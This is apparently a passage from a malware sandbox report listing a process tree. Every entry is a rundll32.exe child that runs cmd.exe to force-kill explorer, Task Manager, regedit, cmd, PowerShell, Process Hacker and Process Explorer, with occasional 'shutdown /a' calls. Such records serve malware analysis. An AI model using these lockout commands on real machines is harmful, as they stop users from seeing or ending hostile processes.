  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1388
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:212
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5360
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1004
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5836
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1948
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5372
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1752
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4520
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2416
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:732
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3608
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2520
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4032
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4152
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4444
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3892
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3544
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5652
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1656
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5672
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4596
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4720
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4604
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4396
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:772
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5596
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:740
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:956
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3692
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2208
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5948
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2084
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:892
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3372
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5940
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1744
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3296
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6096
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5364
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2888
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5228
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2628
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4268
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:988
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5304
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1428
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5720
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:860
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1060
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3996
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6004
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2896
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3256
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:2564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3284
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2552
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3352
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2312
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3444
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6048
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1432
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1800
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3732
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2036
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2384
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5840
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1044
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5860
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3496
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5020
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5800
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4972
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3092
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2188
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1864
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3812
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5352
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1908
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1736
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4044
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5816
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2100
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5200
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3636
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4344
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4060
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1412
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5172
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3648
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3776
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5076
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1332
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2440
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5384
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4840
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3448
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2924
